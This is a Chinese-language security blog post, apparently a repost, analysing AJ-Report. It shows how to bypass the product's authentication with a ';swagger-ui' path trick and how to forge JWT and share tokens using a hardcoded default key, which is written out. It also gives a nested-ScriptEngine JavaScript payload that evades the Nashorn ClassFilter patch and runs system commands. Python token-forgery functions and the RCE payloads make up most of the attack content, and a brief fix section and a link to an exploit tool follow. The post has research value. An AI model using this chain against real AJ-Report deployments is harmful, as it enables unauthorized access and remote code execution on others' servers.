AJ-REPORT全新鉴权及远程命令修复绕过分析

admin 2024年5月17日17:53:16评论6 views字数 5501阅读18分20秒阅读模式

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦

原文由作者授权,首发在先知社区

https://xz.aliyun.com/t/14460

TL;DR

前几天在公众号看到AJ-Report未授权远程命令执行,这个洞还挺通杀的。今天看了下命令执行似乎已经修复了,但是这里的patch可以绕过。另外最关键的TokenFilter中的鉴权绕过漏洞没修,其实鉴权修复了也会有默认key导致鉴权绕过的问题。文末给出了利用工具,实测好用。

漏洞分析

鉴权绕过

这个系统的接口绝大部分都需要登陆,需要绕一下。

鉴权逻辑在TokenFilter

AJ-REPORT全新鉴权及远程命令修复绕过分析

经典通过request.getRequestURI()拿到uri,后面如果uri包含swagger-ui直接放行。

因为是拿的URI,没有参数信息所以没法用?swagger-ui绕。

但可以用;swagger-ui绕过,因为parsePathParameters:950, CoyoteAdapter (org.apache.catalina.connector)这里会取分号作为pathParamStart

AJ-REPORT全新鉴权及远程命令修复绕过分析

pathParamEnd这里会取/作为结尾。最后截断中间的字符串,也就是说/a;b/c最终会解析为/a/c

AJ-REPORT全新鉴权及远程命令修复绕过分析

所以用/dataSetParam;swagger-ui/verification就能请求到后端接口了。

AJ-REPORT全新鉴权及远程命令修复绕过分析

另一处鉴权绕过(默认key)

如果swagger-ui放行那里被修复了怎么办呢?可以看到后续会校验token

AJ-REPORT全新鉴权及远程命令修复绕过分析

校验token类也是安吉自己写的,给jwt payload加了四个key-value pairs

public String createToken(String username, String uuid, Integer type, String tenantCode) {
String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
return token;
}
public String getUsername(String token) {
Claim claim = (Claim)this.getClaim(token).get("username");
return claim == null ? null : claim.asString();
}

重点来了,通过this.gaeaProperties.getSecurity().getJwtSecret()拿到密钥。

jwt密钥在GaeaProperties$Security类里,而setJwtSecret方法没有被调用过,因此key是默认的。

AJ-REPORT全新鉴权及远程命令修复绕过分析

伪造jwt即可。

def getFakeToken():
payload = {
"type": 0,
"uuid": "627750b8be86421d94facec7e4dba555",
"tenant": "tenantCode",
"username": "admin"
}
fakeToken = jwt.encode(payload,'anji_plus_gaea_p@ss1234',algorithm='HS256')
return fakeToken

通过校验。

AJ-REPORT全新鉴权及远程命令修复绕过分析

光伪造token还不够。后面还有个登陆缓存验证,缓存逻辑具体可参考/accessUser/login路由逻辑。token的时效是1小时,如果远程一小时内没有admin

AJ-REPORT全新鉴权及远程命令修复绕过分析

但是看到这里出现了转机,接下来会校验shareToken,如果reportCodeList.stream().noneMatch(uri::contains),也就是说uri包含reportCode的话就返回false。而shareToken是从Share-Token请求头取的。

List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains)) {
ResponseBean responseBean = ResponseBean.builder().code("50014").message("分享链接已过期").build();
response.getWriter().print(JSONObject.toJSONString(responseBean));
return;
}

再看一下shareToken签名,密钥同样硬编码。

AJ-REPORT全新鉴权及远程命令修复绕过分析

shareToken通过以下方式伪造:

def getFakeShareToken():
payload = {
"shareCode": 1,
"reportCode": "/", #通用性
"exp": 4070880000,
"iat": 1715402146,
"sharePassword": 1
}
fakeShareToken = jwt.encode(payload,JWT_SECRET,algorithm='HS256')
return fakeShareToken

伪造完shareToken就可以访问接口了。

AJ-REPORT全新鉴权及远程命令修复绕过分析

nashorn引擎执行表达式绕过

漏洞在srcmainjavacomanjiplustemplategaeabusinessmodulesdatasetparamcontrollerDataSetParamController.java中的/verification路由,可以看到会调用verification方法。

AJ-REPORT全新鉴权及远程命令修复绕过分析

跟进verification方法,该方法调用了engine.eval

AJ-REPORT全新鉴权及远程命令修复绕过分析

engine针对CNVD-2024-15077做了PATCH

AJ-REPORT全新鉴权及远程命令修复绕过分析

看下diff,加了ClassFilter,过滤了命令执行的三个类。

AJ-REPORT全新鉴权及远程命令修复绕过分析

不太了解这个防御逻辑是啥,先尝试打断点看看是什么逻辑:

AJ-REPORT全新鉴权及远程命令修复绕过分析

到这里有个classFilter。调了个寂寞,还是看看怎么ban掉类的逻辑吧。

AJ-REPORT全新鉴权及远程命令修复绕过分析

先用原版payload打一下,简单解释下,流传在网上的payload定义了verification函数是因为执行完js后会调用js中的verification函数,随后将执行结果返回。verification函数就是常规的调用java.lang.ProcessBuilder('whoami').start()执行命令。

function verification(data){var se= new javax.script.ScriptEngineManager();var r = new java.lang.ProcessBuilder('whoami').start().getInputStream();result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}

执行失败,提示找不到这个类。

AJ-REPORT全新鉴权及远程命令修复绕过分析

打异常断点看调用栈:

classNotFound:162, NativeJavaPackage (jdk.nashorn.internal.runtime)
invokeStatic_L_V:-1, 282828951 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1395859879 (java.lang.invoke.LambdaForm$BMH)
dontInline:-1, 1043162593 (java.lang.invoke.LambdaForm$reinvoker)
guard:-1, 1912131086 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 23493645 (java.lang.invoke.LambdaForm$MH)
verification:1, Script$Recompilation$4$27A$^eval_ (jdk.nashorn.internal.scripts)
invokeStatic_L3_L:-1, 246550802 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 664302677 (java.lang.invoke.LambdaForm$MH)
invoke:639, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
callMember:199, ScriptObjectMirror (jdk.nashorn.api.scripting)
invokeImpl:386, NashornScriptEngine (jdk.nashorn.api.scripting)
invokeFunction:190, NashornScriptEngine (jdk.nashorn.api.scripting)
verification:106, DataSetParamServiceImpl

都是匿名函数,还是看文档吧。

经过一番检索发现此处针对nashorn的安全过滤是JEP202:https://openjdk.org/jeps/202。

Provide a Java class-access filtering interface, ClassFilter, that can be implemented by Java applications that use Nashorn.
提供一个 Java 类访问过滤接口 ,ClassFilter可以由使用 NashornJava 应用程序实现。


Nashorn will query a provided instance of the ClassFilter interface before accessing any Java class from a script in order to determine whether the access is allowed. This will occur whether or not a security manager is present.
Nashorn 将在从脚本访问任何 Java 类之前查询提供的接口实例ClassFilter,以确定是否允许访问。无security manager是否存在,都会发生这种情况。

A script should not be able to subvert restrictions by a class filter in any way, not even by using Java's reflection APIs.
脚本不应该能够以任何方式破坏类过滤器的限制,即使使用 Java 的反射 API 也不行。

如果存在类过滤器,即使不存在security managerNashorn 也不让你用反射。如果反射可用那么使用类过滤器就没有意义了,因为可以使用反射来绕过类过滤器。尝试了一下反射确实不行。

不过参考JEP290大概猜到JEP202也(只)是会过滤类,而不是把命令执行的类阉割了。

所以直接用套娃的方式绕就行,在里面再new一个ScriptEngineManager,然后再eval就行。

function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension("js").eval("new java.lang.ProcessBuilder('whoami').start().getInputStream();");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}

执行命令:

AJ-REPORT全新鉴权及远程命令修复绕过分析

别的路由

其实/dataSet/testTransform路由也会调用到engine.eval,但是没有回显。有兴趣的师傅可以看一下,这个接口的逻辑是执行完表达式发起一个http请求,返回的是httpresponse

AJ-REPORT全新鉴权及远程命令修复绕过分析

修复

主要问题在鉴权而不是 engine.eval , 应该使用 reqeust.getServletPath() 获取 URI,或者干脆把 swagger-ui 放行逻辑那里删掉。

其次需要修改jwt默认密钥。

利用工具

https://github.com/yuebusao/AJ-REPORT-EXPLOIT

原文始发于微信公众号(亿人安全):AJ-REPORT全新鉴权及远程命令修复绕过分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日17:53:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AJ-REPORT全新鉴权及远程命令修复绕过分析https://cn-sec.com/archives/2751517.html

发表评论

匿名网友 填写信息